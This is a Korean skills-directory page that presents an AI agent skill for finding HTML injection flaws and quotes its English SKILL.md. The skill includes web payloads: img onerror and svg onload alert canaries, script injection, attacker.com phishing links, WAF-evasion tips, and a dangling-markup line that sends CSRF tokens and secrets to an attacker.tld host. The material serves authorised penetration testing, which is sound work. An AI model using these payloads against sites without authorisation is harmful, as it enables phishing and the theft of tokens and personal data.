본문으로 건너뛰기
Skillpedia
보안5.4k · #14913

hunt-html-injection

하는 일

이 스킬은 입력이 이스케이프되지 않은 HTML로 표시되는지 테스트합니다. 스크립트 삽입보다 심각도는 낮지만 사용자를 속일 수 있습니다. 검색, 프로필, 댓글 필드를 허가받아 점검할 때 사용합니다.

사용하는 경우

  • ✓검색창, 프로필 필드, 댓글이 원시 HTML을 표시할 수 있을 때.
  • ✓오류 메시지가 이스케이프 없이 사용자 입력을 보여줄 때.
  • ✓삽입된 HTML이 가짜 로그인 양식을 보여줄 수 있는지 확인하고 싶을 때.

스킬 링크

https://github.com/elementalsouls/Claude-BugHunter/blob/main/skills/hunt-html-injection/SKILL.md

복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.

사용 방법

가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.

바로 붙여넣을 수 있는 메시지

Use this skill to help me: https://github.com/elementalsouls/Claude-BugHunter/blob/main/skills/hunt-html-injection/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
AI가 이런 스킬을 알아서 찾아 쓰길 원하시나요?무료 Skillpedia MCP를 설치하세요. 한 줄이면 작업마다 스킬 15,000+개 중에서 검색합니다.1분 만에 설치 →

AI에게 요청하는 예시

“허가된 테스트에서 저희 댓글 필드가 원시 HTML을 렌더링하는지 확인하고, 그 영향을 보여 주실 수 있나요?”

매주 새 스킬 5개. 읽는 데 1분.

작동 방식

에이전트는 입력에 고유한 무해한 표식을 넣고, HTML이 마크업으로 표시되는지 확인합니다. 그다음 위험을 보여 주는 명확한 테스트로 영향을 확인합니다.

기술 내용 (원본 SKILL.md)

작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.

What is HTML Injection

HTML Injection occurs when user input is inserted into a page's HTML without escaping, so injected tags are rendered by the browser as markup rather than displayed as literal text. Unlike XSS, the injected content does not require JavaScript execution — injecting <b>, <h1>, <a>, <img>, or <form> tags is sufficient.

To PROVE impact unambiguously, escalate to an active vector carrying a unique numeric canary — e.g. "><img src=x onerror=alert(91234)> or <svg onload=alert(91234)>. A distinctive 4+ digit number (not alert(1)) distinguishes YOUR reflected injection from the example payloads practice pages embed in their own hint text. Proof = the raw, unescaped vector with your canary appears in the response.

Impact:

  • Phishing via injected <form> or <a href="attacker.com"> tags
  • UI defacement — <h1>HACKED</h1> renders visually on the page
  • Credential harvesting via injected login forms
  • Redirect via <meta http-equiv="refresh">
  • Stepping stone to XSS (may be blocked by WAF on <script> but not <img onerror>)
  • Dangling-markup exfiltration — even with <script> and event handlers filtered, an unterminated tag can capture page content that follows it. Inject <img src='//attacker.tld/log?html= (no closing quote/>); the browser treats everything up to the next ' as the URL, leaking any CSRF token, secret, or PII rendered after your injection point to your server. Works where full XSS is blocked but raw < is reflected.
  • Email/notification-context injection — a field reflected unescaped into a transactional email (signup confirmation, admin alert, support-chat transcript) renders injected <a>/<img>/dangling markup in the recipient's inbox — an audience the web UI can't reach, and often the only place HTML is rendered unfiltered. Inject into name/subject/comment, then read the raw email source. Disclosed class: https://hackerone.com/reports/1935628, https://hackerone.com/reports/3556892.

Attack Surface

Any input that is reflected or stored and then displayed in an HTML context:

  • Search boxes (?q=)
  • Comments, feedback, reviews
  • Profile fields (name, bio, username)
  • Error messages (?error=, ?message=)
  • Subject / body of contact forms
  • Admin-visible fields (ticket titles, usernames in logs)

Autonomous Testing Priority

Inject a recognisable HTML tag with a unique canary string. Unescaped angle brackets in the response = confirmed injection.

Pattern 1 — Basic HTML tag injection:

<b>CANARY</b>
"><b>CANARY</b>

Use a unique string as CANARY (something distinct to this test run). Proof: the response contains <b>CANARY with literal < angle brackets — not &lt;b&gt;CANARY. A properly encoded app would escape < to &lt;.

Try multiple tag types when <b> is filtered:

  • <h1>CANARY</h1> — heading tag (often less filtered)
  • <img src=x onerror=CANARY> — attribute context
  • <a href="https://attacker.com">click</a> — link injection (phishing proof)

For stored injection: inject into the storage endpoint, then GET the page where the value is displayed and check for unescaped tags.

Escalate immediately: if <b> injection works, try <script>alert(1)</script> — the same unsanitised input may allow full XSS.

Proof

Confirmed when your injected tag appears in the response body with literal < angle brackets (not HTML-encoded). A safe app renders &lt;b&gt;CANARY&lt;/b&gt;; a vulnerable app renders <b>CANARY</b>.

Distinguishing HTML Injection from XSS

  • HTML injection: <b>text</b> renders as text in the browser — no JS execution needed.
  • XSS: <script>alert(1)</script> executes JavaScript.

Some WAFs block <script> but pass <b> or <img> — start with non-script tags, then escalate.

자주 묻는 질문

HTML 삽입은 스크립트 삽입과 어떻게 다른가요?

HTML 삽입은 자바스크립트 실행이 필요 없어서, 스킬은 일반적으로 스크립트 삽입보다 심각도를 낮게 평가합니다.

댕글링 마크업이란 무엇인가요?

닫히지 않은 태그가 그 뒤의 페이지 내용을 가져갈 수 있다고 스킬은 설명합니다.

고유 숫자를 쓰는 이유는 무엇인가요?

고유한 숫자는 삽입된 코드가 페이지에 이미 있는 예시 텍스트가 아니라 내 테스트임을 구별하는 데 도움이 됩니다.

상세 정보

작성자의 원본 설명

Hunt HTML Injection — user-supplied input is rendered as raw HTML in the response without sanitisation, allowing an attacker to inject arbitrary HTML tags (but not necessarily JavaScript). Lower severity than XSS but enables phishing, UI manipulation, and credential harvesting via injected forms. Use when testing text-display surfaces (search results, profile fields, comments, error messages, feedback forms). For markup that executes JavaScript, escalate to hunt-xss.

repo: elementalsouls/Claude-BugHunter

인기도

GitHub 스타
5.4k
순위
#14913
라이선스
MIT
업데이트
2026. 11. 2.

이 스킬이 유용한가요?

0

로그인 투표하려면 로그인하세요.

댓글

  • …

이 저장소의 다른 스킬

비슷한 스킬